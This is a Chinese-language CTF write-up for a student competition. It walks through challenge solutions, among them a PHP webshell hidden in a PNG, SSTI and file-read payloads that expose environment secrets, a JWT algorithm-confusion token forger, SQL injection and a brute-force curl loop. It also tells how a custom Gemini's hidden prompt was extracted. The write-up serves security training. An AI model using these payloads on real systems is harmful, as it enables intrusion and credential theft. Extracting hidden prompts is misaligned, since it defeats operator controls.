11401FhCTF Writeup

17k 詞

前言

這是我的第一次CTF,屬於團隊類型的CTF
雖然這場比賽已經快湊齊BadCTF Bingo了
但我還是打得很爛 writeup也寫得很爛
也是獲的了第12名 (一個人爆砍27題
還是值得紀念的 畢竟是第一次
Student-Team_Final_Leaderboard
writeup有部分是我隊友寫的

Welcome

image-1
題目說已經給過了
開控制台檢查
image
得到flag FhCTF{S3n1ty_Ch3ck1ng....😝}

Misc

Christmas Tree

image-2

查看檔案
典型的霍夫曼樹結構(Huffman tree)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
import json
import re
from pathlib import Path
from typing import Any, Optional


def is_leaf(node: Any) -> bool:
"""判斷是否為葉節點(可直接輸出字元/符號)。"""
if node is None:
return False
if isinstance(node, str):
return True
if isinstance(node, (int, float)):
return True
if isinstance(node, dict):
# 常見葉節點欄位:symbol/char/value(或你題目作者想到什麼就塞什麼)
for k in ("symbol", "char", "value", "leaf", "data"):
if k in node and not isinstance(node[k], (dict, list)):
return True
return False


def leaf_value(node: Any) -> str:
"""從葉節點取出要輸出的字元/符號。"""
if isinstance(node, str):
return node
if isinstance(node, (int, float)):
return str(node)
if isinstance(node, dict):
for k in ("symbol", "char", "value", "leaf", "data"):
if k in node and not isinstance(node[k], (dict, list)):
return str(node[k])
# 真的取不到就暴力印出(通常不會走到這)
return str(node)


def get_child(node: Any, bit: str) -> Optional[Any]:
"""
取下一個節點。
支援幾種常見 Huffman JSON 結構:
1) {"0": left, "1": right}
2) {"left": left, "right": right} 或 {"l":..., "r":...}
3) {"children": [left, right]} 或 {"children": {"0":..., "1":...}}
"""
if node is None:
return None

# 直接用 bit 當 key 的版本
if isinstance(node, dict) and bit in node:
return node[bit]

if isinstance(node, dict):
if bit == "0":
for k in ("left", "l", "L"):
if k in node:
return node[k]
else:
for k in ("right", "r", "R"):
if k in node:
return node[k]

if "children" in node:
ch = node["children"]
if isinstance(ch, list) and len(ch) >= 2:
return ch[0] if bit == "0" else ch[1]
if isinstance(ch, dict) and bit in ch:
return ch[bit]

# 有些人喜歡用 list 當節點: [left, right]
if isinstance(node, list) and len(node) >= 2:
return node[0] if bit == "0" else node[1]

return None


def decode(bits: str, tree: Any) -> str:
bits = re.sub(r"[^01]", "", bits) # 去掉換行/空白/奇怪符號
out = []
cur = tree

for i, b in enumerate(bits, 1):
nxt = get_child(cur, b)
if nxt is None:
raise ValueError(f"走到不存在的分支:第 {i} 位元是 {b},目前節點={cur!r}")

cur = nxt
if is_leaf(cur):
out.append(leaf_value(cur))
cur = tree # 回到根節點繼續

# 如果最後停在非根且非葉,代表 bits 可能被截斷
return "".join(out)


def main():
tree_path = Path("huffman_tree.json")
bits_path = Path("encoded_gift.txt")

tree = json.loads(tree_path.read_text(encoding="utf-8"))
bits = bits_path.read_text(encoding="utf-8")

msg = decode(bits, tree)
print(msg)

# 額外幫你挖 flag(有就印,沒有就算了)
m = re.search(r"FhCTF\{[^}]+\}", msg)
if m:
print("\n[FLAG]", m.group(0))


if __name__ == "__main__":
main()

得到flag FhCTF{Hoffman_is_a_great_Christmas_tree}

駭客的密碼食譜

螢幕擷取畫面 2026-01-11 231122
這道題目的解法是將食材的重量/數量轉換為 ASCII 字元
並依照製作方法的順序排列最後將字串反轉
例如
cake flour 125 = }
caster sugar 110 = n
可得原始字串 }nuf_is_gnikooc{FTChF
用的堆疊(Stack)方式還原FhCTF{cooking_is_fun}
得flag FhCTF{cooking_is_fun}

笑話大師

image-3

點開連結可看到一客製化的Gemini
image-4
原本我以為是普通的prompt injection,結果死活解不開
image-5

突然靈光一閃,既然這是個Gemine的客製化AI那在Gem裡面一定有出題者設定的提示詞
image-6
建立副本
image-7

得到flag FhCTF{thisi_Prompt_Injection}

分享圖庫

image-8
非常典型的php Webshell
加上是給新手打的所以直接一套php木馬製作流程

1
2
3
convert -size 1x1 xc:white legit.png 
cp legit.png shell.png
echo '<?php system($_GET["cmd"]); ?>' >> shell.png

然後裡面的偵測方式為==判斷文件頭==是否為png所以直接副檔名可以改php上傳
image-9

訪問/uploads/shell.php?cmd=printenv flag(原始檔有寫flag在哪)
得到flag FhCTF{png_format?Cannot_stop_php!}

Python Compile

image-10
image-11
很特別真的不會執行
這題我卡了很久
發現不是普通的SSTI(服器端模板注入)

image-12

這行被我朋友發現如過修改成裡面擁有的檔案就能顯示其內容
這是對的思路
我一開始也有發現但被ai誤導
原本以為是flag.txt flag這種檔案結果不出來便被ai誤導成其他解題路線(畢竟是雜項

直到修改為/etc/passwd
image-13

成功用報錯輸出其內容

所以將其修改為/proc/1/environ
這載入容器時的環境變數存放的檔案

輸出

1
UV_TOOL_BIN_DIR=/usr/local/binHOSTNAME=54f86cd99223HOME=/rootUVICORN_APP=main:appGPG_KEY=7169605F62C751356D054A26A821E680E5FA6305PYTHON_SHA256=16ede7bb7cdbfa895d11b0642fa0e523f291e6487194d53cf6d3b338c3a17ea2PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binUVICORN_HOST=0.0.0.0PYTHON_VERSION=3.13.11UVICORN_PORT=8000PWD=/appFLAG=FhCTF{N0t_s4f3_t0_ou7put_th3_err0r_m5g}^

得到flag FhCTF{N0t_s4f3_t0_ou7put_th3_err0r_m5g}

分享圖庫 Revenge

分享圖庫的進階題

這我真不會解,檔案照樣可以上傳但他被只當成png來解讀

1
�PNG  IHDR%�V�PLTE������ pHYs���+ IDAT�c`�qd�IEND�B`�

又是我的朋友
他找到了一個超級搞笑的解法
image-14
題目有漏洞(當然也可能是這麼設計的畢竟是雜項:)))
訪問容器的位置就全部輸出了
到現在還沒修應該就是這麼解的(上一個分享圖庫也能這麼解

Web

Welcome to Cybersecurity Jungle

image-15
基於新手題與題目敘述先查看cookie
image-16
cookie 名稱 aXNGbGFnU2hvdzJ1 進行 Base64 解碼:
解碼結果:isFlagShow2u

44G144GJ44O844KL44GZ Base64 解碼後得到日文假名:
解碼結果:ふぉーるす(是日文假名寫法的 false)
將日文假名的 true轉 Base64 後,得到:
44Go44GF44KL44O8
修改cookie後重整畫面即可得到flag
image-17
(跟原本的一樣嗎沒關係他只是把flag顏色條成空白的
取得flag FhCTF{Th3_e553nc3_of_pr0gramm1n6_is_ind3p3nden7_of_the_languag3_u53d}

INTERNAL LOGIN

image
最基礎的SQLInjection
image
取得flag FhCTF{SQL_1nj_42_Success}

The Visual Blind Spot

image
大致理解題意為需要輸入正確的RGB色調才會給flag
先看原始碼
螢幕擷取畫面 2026-01-10 230521
螢幕擷取畫面 2026-01-10 230536
兩處flag都是假的

找到關鍵函式

1
const _secureStr = loadSystemParams();

也就是說:
真正被加密顯示在畫面上的文字,來自 loadSystemParams()
sys-config 元資料

1
2
3
<div id="sys-config"
data-params="249|351|240|291|249|408|288|387|369|192|330|366|324|240|186|375|351|192|375|414">
</div>

這串數字就是 明文來源(但被簡單編碼)
原始程式碼

1
2
let charCode = (n / 3) - 13;
buffer += String.fromCharCode(charCode);

直接人工還原
將每個數字套用公式 (n / 3) - 13
得到字串

1
FhCTF{Stn3am_C1ph3p}

提一嘴另一解法

1
2
3
4
5
6
7
window.onload = function() {
const _base = parseInt("32", 16);
const _kMap = {
x: _base << 1,
y: _base,
z: _base << 2
};

這是金鑰生成的方式
hex ==32==也就是50
偏移後得到100,50,200
image

依序輸入就可以取得flagFhCTF{Stn3am_C1ph3p}

Web Robots

image
看到題目名稱就知道要去訪問/robots.txt
image
看到有趣的網址/secret
image
嗯 自動導向一個什麼都沒有的網址/secret/index.html
直覺 (通靈) 告訴我一定在flag.txt
image
取得flag FhCTF{r0b075_4r3_n0t_v15ible_in_tx7}

Doors Open

image
點開寫著The Door is OPEN!!!FIND THE DOOR
image
查看原始碼
裡面寫提示看robots
image
訪問doors
image
出現開門動畫並提示並非正確的門

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
 const door = document.getElementById('door');
const messageEl = document.getElementById('message');
const doorContainer = document.getElementById('doorContainer');

let isOpening = false;

doorContainer.addEventListener('click', async () => {
if (isOpening) return;
isOpening = true;

// Start animation
door.classList.add('open');

// Wait 5 seconds
await new Promise(r => setTimeout(r, 5000));

// Fetch API
try {
const response = await fetch(`/api/doors/1`);
const data = await response.json();

if (data.correct) {
messageEl.textContent = `正確!\n${data.message}`;
messageEl.style.color = 'green';
} else {
messageEl.textContent = `錯誤!\n${data.message}`;
messageEl.style.color = 'red';
}
messageEl.classList.remove('opacity-0');
} catch (e) {
console.error(e);
messageEl.textContent = "發生錯誤";
messageEl.classList.remove('opacity-0');
}
});
</script>

查看原始碼
網址顯示/doors/1
根據原始碼推論得知要尋找正確的門號
並且我可以直接訪問api/door/XXX以節省載入動畫的時間
其中門號被限制為5000
用腳本訪問0-5000

1
2
3
4
BASE="https://15e47f56.fhctf.systems/api/doors"
seq 0 5000 | xargs -n1 -P50 -I{} sh -c '
r=$(curl -s --max-time 5 "'"$BASE"'"/{} )
echo "{} $r"

嗯 都沒有爛題 (誤
我摸了一下水晶球
訪問-1試試

1
{"correct":true,"message":"這是正確的門!\nFlag: FhCTF{IDOR_get_the_s3cr3t_infom47i0n}"}

原來藏在無法訪問的最後一個
取得flag FhCTF{IDOR_get_the_s3cr3t_infom47i0n}

Templating Danger

image
又是留言板(冷不丁的抖了一下
說實話我真的很不會注入
嘗試了一下payload

1
2
{{7*7}}
<script>alert('XSS');</script>

image

應該就是XSS(笑死我沒看原始檔好孩子不要學
實際上是SSIT這題我錯了兩得多小時
{{7*7}}不行是因為裡面有寫偵測{}的程式
所以改成Unicode編碼\u007b

1
\u007b\u007b cycler.__init__.__globals__.os.environ.get('FLAG') \u007d\u007d

取得flag FhCTF{T3mpl371ng_n33d_t0_b3_m0r3_c4r3full🥹}

Documents

image
image
提示說http標頭已經告訴我的一切(那是什麼
由於後端使用FastAPI先嘗試存取其預設OpenAPI文件以了解實際路由配置
訪問/openapi.json
image
看到有趣的路徑
image
嗯 他耍我(欠扁
重看一次/openapi.json

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
"/flag.html": {
"get": {
"summary": "Flag Question Mark Page",
"operationId": "flag_question_mark_page_flag_html_get",
"parameters": [
{
"name": "referer",
"in": "header",
"required": false,
"schema": {
"anyOf": [
{
"type": "string"
},
{
"type": "null"
}
],
"description": "Referer Checker\nWe will check you whether coming from localhost.app:8000/index.html, with secure HTTP protocol.",
"title": "Referer"
},
"description": "Referer Checker\nWe will check you whether coming from localhost.app:8000/index.html, with secure HTTP protocol."
}
],
"responses": {
"200": {
"description": "Successful Response",
"content": {
"application/json": {
"schema": {

}
}
}
}

發現關鍵

1
"description": "Referer Checker\nWe will check you whether coming from localhost.app:8000/index.html, with secure HTTP protocol."

合理推測要Referer改為localhost.app:8000/index.html

image

取得flag FhCTF{URL_encod3d_m337_p47h_d15cl0sure😱😱}

SYSTEM ROOT SHELL

image
熟悉的問題(在台科社課看過
image
我還以為要在系統裡找flag
結果似乎被設定成只要普通的判斷式而非真實運行的指令
(看來主辦方很怕
取得flag FhCTF{RCE_Success_v3}

LOG ACCESS

image
跟上題很像是一種判斷式的路徑穿透題
image
(我通靈出來的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function access() {
const input = document.getElementById('p_in').value;
const output = document.getElementById('v_out');

const _h = [70, 104, 67, 84, 70].map(c => String.fromCharCode(c)).join('');


const _c1 = "\x50\x61\x74\x68\x5f";
const _c2 = (21337 >> 4).toString(16);
const _c3 = "\x54\x72\x34\x76";

const check1 = input.split('.').length > 3;
const check2 = input.toLowerCase().indexOf('flag') !== -1;

if (check1 && check2) {
const final = _h + "{" + _c1 + _c3 + "_" + _c2 + "}";
output.innerText = "ACCESS_GRANTED:\n" + final;
output.className = "bg-black p-4 border border-green-500 h-32 overflow-auto text-xs text-green-500 font-bold";
} else {
output.innerText = "ACCESS_DENIED: Path traversal attempt detected or invalid path.";
output.className = "bg-black p-4 border border-red-900 h-32 overflow-auto text-xs text-red-800";
}
1
2
const check1 = input.split('.').length > 3;
const check2 = input.toLowerCase().indexOf('flag') !== -1;

第一行是判斷.是否大於3個
第二行是判斷輸入字串是否含有flag
只要條件滿足就會輸出flag(甚是flag…也行:)))
然後flag其實也寫在裡面

1
2
3
4
const _h = [70, 104, 67, 84, 70].map(c => String.fromCharCode(c)).join('');
const _c1 = "\x50\x61\x74\x68\x5f";
const _c2 = (21337 >> 4).toString(16);
const _c3 = "\x54\x72\x34\x76";

這四個值解出來分別為FhCTF Path_ 535 Tr4v
根據這行

1
const final = _h + "{" + _c1 + _c3 + "_" + _c2 + "}"

也可得知flag為FhCTF{Path_Tr4v_535}

Pathway-leak

螢幕擷取畫面 2026-01-11 233006
有給一個文檔

1
2
3
4
5
6
7
8
9
10
[2025-11-02 20:25:38 UTC]   213B STANDARD devops/internal_api.json
[2025-11-19 21:45:07 UTC] 204B STANDARD guest_user/changelog.md
[2025-12-07 22:48:58 UTC] 430KiB STANDARD guest_user/logo.png
[2025-12-15 15:27:11 UTC] 147B STANDARD guest_user/minidocs.json
[2025-11-20 20:42:43 UTC] 300B STANDARD guest_user/quickstart.md
[2025-10-10 00:02:19 UTC] 358B STANDARD guest_user/welcome.md
[2025-12-25 12:27:51 UTC] 326B STANDARD hr_dept/handbook.md
[2025-11-05 13:18:28 UTC] 317B STANDARD marketing/campaign.md
[2025-12-25 05:55:00 UTC] 388B STANDARD secret_admin/config.json
[2025-10-07 02:03:00 UTC] 38B STANDARD secret_admin/flag.txt

flag顯示在secret_admin/flag.txt
image
嘗試修改路徑
image

無法直接請求

1
2
3
4
5
6
currentFileTitle.textContent = filename;
pathDisplay.textContent = `tenants/${TENANT}/${filename}`;

// Construct URL
// Note: Real application would probably use a cleaner ID, but here we use filename directly
const url = `/api/assets/${TENANT}/${filename}`;

看到有趣的原始碼
理解了嘗試跨 tenant 請求
image
取得flag FhCTF{p4th_tr4v3rs4l_w3_w4n7_t0_av01d}

KID

image
image
一開始並沒有cookie
image
取的通行證後發現cookieJWT格式(嘔 這不純潔

1
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6ImRlZmF1bHQucGVtIn0.eyJ1c2VyIjoiZ3Vlc3RfdXNlciIsInJvbGUiOiJndWVzdCJ9.S4-YIB8_-sXb1sLJAkoDPr1HHEO7r8E4DPjFkxi3vJyYDlHiJKFEkw3L7X0yBOvxuBJ-PMXhPIgc1I9phkNX9w9cLEMUDZtsdqVh1BMhux-H8g0S9HHaQ3ZFcMb_f9WZpgdM1RQ-i-dlCxxzsHus2E13sJc2ITHASsw4xJz-wtdaN_ME3EF_conBM_P5mF_fM3GT-7zvfiUtcu845FREG6BZY_Z7ji_S6A8R0jN200ziB4s9qkd2TnxAuiCAtANV9MnPJZYFibwZOQspXf3cGcyCeO307yiQNljQfZlxWGRt8f3V1rlXa2UXx2rEnB_85wRQbMmPchvm9p7nN8O_cA

有提到可以允許HS256格式
JWT解碼如下:

1
2
3
4
5
6
7
8
9
{
"typ": "JWT",
"alg": "RS256",
"kid": "default.pem"
}
{
"user": "guest_user",
"role": "guest"
}

經典的JWT Algorithm Confusion風險
其實我這題我解很久(被線上JWT坑的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import jwt

SECRET = ""
headers = {
"typ": "JWT",
"alg": "HS256",
"kid": "/dev/null"
}
payload = {
"user": "admin_user",
"role": "admin"
}
token = jwt.encode(payload, SECRET, algorithm="HS256", headers=headers)
print(token)

使用者可控制 kid
kid 決定驗簽金鑰來源
fallbackHS256
驗簽時使用 /dev/null → 空 key
則只要攻擊者在簽署 JWT 時:

1
HMAC-SHA256(secret="", message="header.payload")

而伺服器驗簽時 也使用同一個空secret則:

1
signature_attack == signature_server

驗簽必然通過
image
取得flag FhCTF{Th3_k1d_u53d_JWT_t0_tr4v3rs3_p4th5}

Something You Put Into

image
其實跟上一題一樣是JWT的問題
但其實我不會正規解法
雖然很丟臉但我在電腦前做了1個小時還是解不開
結果題目的檔案有問題

他把flag直接放在裡面了
image
嘻嘻我有存
(它晚上被緊急?下架了
取得flag FhCTF{🐷B3_c4r3ful_y0ur_SQL_synt4x🐷}

Reverse

簡易腳本閱讀器

圖片
研究server程式後發現script[4] 會被使用者輸入直接覆蓋(script[ip] = user_input)
支援的指令只有兩種特別處理:
USER_INPUT → 要求輸入
JUMP <數字> → 跳到指定行號

其他行直接輸出([Line {ip}] {line})
global script → 腳本內容在整個 server 生命週期都共享(不是 per-session)
每次進到首頁 (/) 會把 ip 重設為 2,並把 script[4] 強制重設為 “USER_INPUT”
所以我嘗試使用JUMP 0來輸入 答案就顯示了

OBF

image
給了一個py加密程式還有txt檔

1
3e08772c224960093145070318575a0e741e050c7a2d745a1b6f5a0d5834322b

應為被加密的密文(好奇怪為甚麼不是Crypto題
反正我Crypto一題都沒解出來
反正我是不懂admin的sha1為甚麼會等於61cfc9d3dadc5504391b872d170bbe73f6ca0d77
說回正題腳本是用狀態機(以字串位址為 key 的函式表)分段填滿 memory[0..63],組出一把 64 bytes_key,再拿 _keyflagXOR 加密,最後把結果輸出成 hex

因此,只要依照程式邏輯還原 _key,再用 output.txtXOR,就能得到 flag
解密後得FhCTF{08fu5c471n6_Py7h0n_15_fun}

The Lock

image
給一個exe執行檔
在ida中逆向
image
找到有趣的地方
image
check_password 會先以 substr(6, len-7) 取出 {} 中的字串 inner,並限制其長度為 26。
接著程式宣告兩個常數陣列:key[4]expected[26]
依規則寫腳本

1
2
3
4
5
key = [85, 51, 102, 17]
expected = [7,2,20,40,47,74,97,92,32,111,21,54,83,26,113,129,132,127,37,116,140,106,101,126,87,54]
inner = ''.join(chr((expected[i] - 2*i) ^ key[i % 4]) for i in range(26))
flag = f"FhCTF{{{inner}}}"
print(flag)

取得flag FhCTF{R3v3rs3_Eng1n33r1ng_1s_Ar7}

壞掉的解碼器

image
其中一個txt記錄著密文

1
2
2781ACE7A1534E1231F7B84AD05565FEFB484A86E6ECD5C76686276A57658F79686098C6A5F0593D395543ABFF118410B2F02CF61FA5
I_just_afraid_someday_i_will_forget_the_password

試著運行decrypt
image
好吧 真的是壞掉的解碼器
它讀取密文時只讀了前面一小段
逆向可得他解密的方式為
右旋 3 bits

1
b_rot = ROR(b, 3)

更新 PRNG(線性同餘)

1
seed = (seed * 0x41C64E6D + 0x3039) & 0x7fffffff

取 keystream

1
k = seed % 255

XOR 得到明文

1
plain = b_rot ^ k

再把原始密文加回 seed

1
seed += b

即可得flag FhCTF{Why_not_use_std::string_instead_of_char_arrays?}

OSINT

接下來就是通靈題啦

Trace the Landmark

image
photo-3
題目給到的是羅馬萬神殿
這題屬於是格式寫起來很麻煩了
取得flagFhCTF{Piazza_della_Rotonda_00186_Roma_RM_Italy}
不得不說每題格式講的有夠不清楚

島 1

image
這題我看到是直接傻眼的
land-1
餐廳的字也被馬掉只能隱約看到 口餐廳
超鳥誰知道
但開google以圖搜圖還真搜到了
image
(寫到這的時候還沒吃東西看的我好餓
特色菜應該就是在地美食了
一個一個爆破

The FH Gift

image
郵件為multipart/mixedbase64
base64 解碼得到PK開頭
判定為 ZIP(檔頭 PK\x03\x04)
解壓縮得到 flag.txt
讀出後得到flag FhCTF{M1M3_Typ3s_C4n_B3_D3c3pt1v3}

沒戴安全帽的騎士

image
通靈題直接問AI
rider_without_helmet
flag FhCTF{2014_Kymco_Many50}

EXIF的「拍攝座標」

這題我真的要罵人了
題目裡面明明講了EXIF
where_exif
然後拿exiftool掃了之後只發現一個緯度
image
我便以為是要找到那個噴水池的經度
(甚麼鬼題目為啥不用map定位
螢幕擷取畫面 2026-01-11 205527
我們一群人就在群組裡面吵這題

然後搞笑的來了
image
哈 不是戈門
8個多小時了
(還在用AI驗題啊

然後有趣的是它修好的檔名就是經度
image
趁大家在吵的時候也是搶到了首殺
image
flag FhCTF{2511757831215189068}

Lithium exploration

image
不得不說他對格式的描述真夠爛的
查了一下wiki
南美的被譽為天空之境的地方為玻利維亞(Bolivia)的尤尼斯鹽沼(Salar de Uyuni)
盛產礦物被譽為站在黃金上的乞丐
然後那個地方盛產鋰礦的原始形式為液態的鹽滷水(Brine)
那上繳的形式為什麼呢礦物(Mineral)
所以是Dissolved Lithium(含鋰離子的鹽水)還是Lithium Brine(富鋰鹵水)又或是Lithium Carbonate(加工後為碳酸鋰)
都不是答案是Lithium(鋰)
。。。。。
不是這說法不是元素(Element)嗎
flag FhCTF{Bolivia_SalardeUyuni_Lithium}

SRL

image
題目給了一圖
SRL
看得出來這裡與大巨蛋很近
從101的角度判斷這裡就是松煙誠品
image

漂亮的圓頂 1

beautiful_circle_top
猜猜這是哪
螢幕擷取畫面 2026-01-11 213905
從以圖搜圖的方式來說肯定是多爾瑪巴赫切清真寺
當然正確答案也是多爾瑪巴赫切清真寺
但似乎出題的人不認為是多爾瑪巴赫切清真寺
他出了個與他相甚遠的索菲亞大教堂(我第一次問AI也在那附近還想說怎麼可能
(然後晚上又被改回來了?
image
伊斯坦堡 多爾瑪巴赫切清真寺

島2

image
wiki都有寫
在金門的建功嶼
image

漂亮的圓頂 2

原本使用照片去搜時,只找到博斯普魯斯海峽附近相關的公共渡輪之類的,但都要錢。在快放棄這題時忽然想到,不然把範圍拉大,以國家來查,然後加上優先查看旅遊達人的介紹(畢竟都說是免費了 他們一定最喜歡這種東西) 然後就在查到第2 3 個就看到一個黑黑的人的影片就是這部https://www.youtube.com/watch?v=0cRrqQ8zIuY 裡面的資料在搜尋一下就有答案了

Art Work

這個題目提供了一張圖,我先丟到google來做以圖搜圖,這時取得了一個資訊,展覽名稱是屏東落山風藝術季,但將2025年12月20日–2026年3月1日 的資料當flag失敗,才發現這圖片只出現在某年的展覽,這時我查看多個以圖搜圖的結果,最後從https://500times.udn.com/wtimes/story/12672/6734221 取得flag的相關資訊

Blue Team

User’s Bad Day

這是一道典型的網路封包分析 (Network Traffic Analysis)
根據提供的incident_log.pcap內容片段
可以分析出 SMB 協定與 NTLM 驗證的相關資訊
使用者輸入的主機名稱 (Hostname)
在封包內容中,我們可以觀察到名稱解析與連線的請求
看到類似 Name Query: fulesrv 的資訊
這就是使用者嘗試查詢的主機名稱
image

攻擊者攔截到的帳號名稱 (Account Name)
SMB 協商過程中,會包含 NTLM 驗證封包 (NTLMSSP)
分析證據:在 中,可以看到 NTLMSSP 的內容,其中包含以寬字元(中間有空格)顯示的字串:D O M A I N B o b W O R K S T
這是 NTLM 驗證結構,其中 D O M A I N 代表網域,而B o b代表使用者帳號名稱。
image

Bob
操作哪個檔案 (File Name)
在建立連線後,使用者嘗試開啟或操作某個檔案。
接續在 SMB 標頭之後,出現了被分段的字串 t es t
SMB 傳輸檔案名稱時通常使用 Unicode (寬字元),這裡拼起來就是 test
(題目要求不含副檔名,且封包中未見明顯副檔名痕跡
image
test
取得flag FhCTF{fulesrv_Bob_test}

Comments